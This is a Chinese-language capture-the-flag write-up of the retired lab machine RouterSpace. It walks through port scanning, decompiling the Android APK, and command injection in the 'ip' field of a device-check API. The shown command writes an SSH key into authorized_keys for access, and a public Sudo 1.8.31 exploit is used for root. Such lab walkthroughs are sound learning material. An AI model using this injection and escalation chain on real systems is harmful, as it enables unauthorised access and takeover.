RouterSpace Writeup

望你能学以致用,而不是当工具和教程的收集者。我写这个是为了“温故知新”,整理下之前所学习和所使用的技术细节,方便归类和整理碎片知识。

概述 (Overview)

image

HOST: 10.10.11.148

OS: LINUX

发布时间: 2022-02-27

完成时间: 2022-06-17

机器作者: h4rithd

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #Apktool #Mobile #CommandInjection

攻击链 (Kiillchain)

使用 Nmap 扫描目标服务器开放端口,访问 Web 服务下载 APK 包至本地分析。通过在安卓设备上运行安装的 APP,找到命令执行漏洞,利用该漏洞写入 ssh 登录免密公钥拿到立足点。最终,通过 Sudo 服务历史漏洞完成权限提升。

枚举(Enumeration)

使用 Nmap 软件对目标服务器开放端口进行扫描枚举:

$nmap -p- -n -Pn -sC -sV --min-rate 2000 -oA nmap/portscan -v 10.10.11.148 PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) | ssh-hostkey: | 3072 f4:e4:c8:0a:a6:af:66:93:af:69:5a:a9:bc:75:f9:0c (RSA) | 256 7f:05:cd:8c:42:7b:a9:4a:b2:e6:35:2c:c4:59:78:02 (ECDSA) |_ 256 2f:d7:a8:8b:be:2d:10:b0:c9:b4:29:52:a8:94:24:78 (ED25519) | fingerprint-strings: | NULL: |_ SSH-2.0-RouterSpace Packet Filtering V1 80/tcp open http |_http-trane-info: Problem with XML parsing of /evox/about | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: RouterSpace |_http-favicon: Unknown favicon MD5: 1985E1710EE86AD8DE35F9ACC686353A | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 200 OK | X-Powered-By: RouterSpace | X-Cdn: RouterSpace-72382 | Content-Type: text/html; charset=utf-8 | Content-Length: 72 | ETag: W/"48-5FsL++OM5MsQ/fNk6Ht3amfAH3E" | Date: Thu, 16 Jun 2022 08:05:26 GMT | Connection: close | Suspicious activity detected !!! {RequestID: Bz 67nR hTY M nh W } | GetRequest: | HTTP/1.1 200 OK | X-Powered-By: RouterSpace | X-Cdn: RouterSpace-21318 | Accept-Ranges: bytes | Cache-Control: public, max-age=0 | Last-Modified: Mon, 22 Nov 2021 11:33:57 GMT | ETag: W/"652c-17d476c9285" | Content-Type: text/html; charset=UTF-8 | Content-Length: 25900 | Date: Thu, 16 Jun 2022 08:05:23 GMT | Connection: close | <!doctype html> | <html class="no-js" lang="zxx"> | <head> | <meta charset="utf-8"> | <meta http-equiv="x-ua-compatible" content="ie=edge"> | <title>RouterSpace</title> | <meta name="description" content=""> | <meta name="viewport" content="width=device-width, initial-scale=1"> | <link rel="stylesheet" href="css/bootstrap.min.css"> | <link rel="stylesheet" href="css/owl.carousel.min.css"> | <link rel="stylesheet" href="css/magnific-popup.css"> | <link rel="stylesheet" href="css/font-awesome.min.css"> | <link rel="stylesheet" href="css/themify-icons.css"> | HTTPOptions: | HTTP/1.1 200 OK | X-Powered-By: RouterSpace | X-Cdn: RouterSpace-78688 | Allow: GET,HEAD,POST | Content-Type: text/html; charset=utf-8 | Content-Length: 13 | ETag: W/"d-bMedpZYGrVt1nR4x+qdNZ2GqyRo" | Date: Thu, 16 Jun 2022 08:05:24 GMT | Connection: close | GET,HEAD,POST | RTSPRequest, X11Probe: | HTTP/1.1 400 Bad Request |_ Connection: close

可以看到仅开放了两个端口,看来又是需要再 Web 服务上找突破口了。暂时从上诉的信息中,没有找到有问题的内容。

Port 80 - HTTP

浏览器访问 80 端口,简单预览了下页面功能发现是个静态的 Web ,只有一个下载 apk 包的地址。

550
从该地址下载包:http://10.10.11.148/RouterSpace.apk,本地使用 apktool 工具对其尝试源代码还原。

$ apktool d RouterSpace.apk I: Using Apktool 2.6.1-dirty on RouterSpace.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: /root/.local/share/apktool/framework/1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...

立足点(Foothold)

我嫌麻烦直接使用的 jadx,预览的 apk 包。

600

首选关注的就是 AndroidManifest.xml 文件,按开发标注每一个 Activity 都需要在这个文件里面注册,可以设置默认启动的 Activity、权限等等。可以看到这里是 MainActivity

550

仅 return 了一个字符串,看不懂得在安卓机上安装包后再看看。因为我是 Mac 加 IOS 又不想折腾装虚拟机环境,就让同事在他的测试手机上装了 apk 进行分析 ,发现 APP 首页会发一个 POST 请求:

POST /api/v4/monitoring/router/dev/check/deviceAccess HTTP/1.1 accept: application/json, text/plain, */* user-agent: RouterSpaceAgent Content-Type: application/json Content-Length: 16 Host: routerspace.htb Connection: close Accept-Encoding: gzip, deflate {"ip":"0.0.0.0"}

随即绑定域名到 hosts,验证 ip 参数发现存在执行漏洞。

650

接下来就简单了,通过命令执行将本地的 ssh 公钥写入 authorized_keys 文件,成功完成 ssh 登录。

echo 'c3NoLXJzYSBBQUFBQjNOemFD......90QGthbGkK'&&base64 -d >>/home/paul/.ssh/authorized_keys

650

权限提升(Privilege Escalation)

将 linpeas 传递至目标服务器,运行脚本进一步获取信息。发现 SUDO 版本比较低(1.8.31),且存在能被识别的 CVE 。

500

但是这个 CVE 是利用不了的因为服务部存在,尝试 CVE-2021-4034 也不行 PwnKit 被修复。

[x] ERROR: Accounts service and Gnome-Control-Center NOT found!!

还是得去找 Sudo 服务低版本的漏洞才行,在 Github 上能直接搜到提权 exp,传递至目标服务器运行就好了。

Sudo 1.8.31 Root Exploit - https://github.com/ikpehlivan/Sudo-1.8.31-Root-Exploit

image

复盘

如果手机的 adb 能获到 root 权限,可以直接使用 adb 快速的开一个 burp 代理进行抓包。

详见: 在 ADB 命令中设置 Android 网络代理

  • adb shell settings get global http_proxy
  • adb shell settings put global http_proxy <host>:<port>
  • adb shell settings delete global http_proxy

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。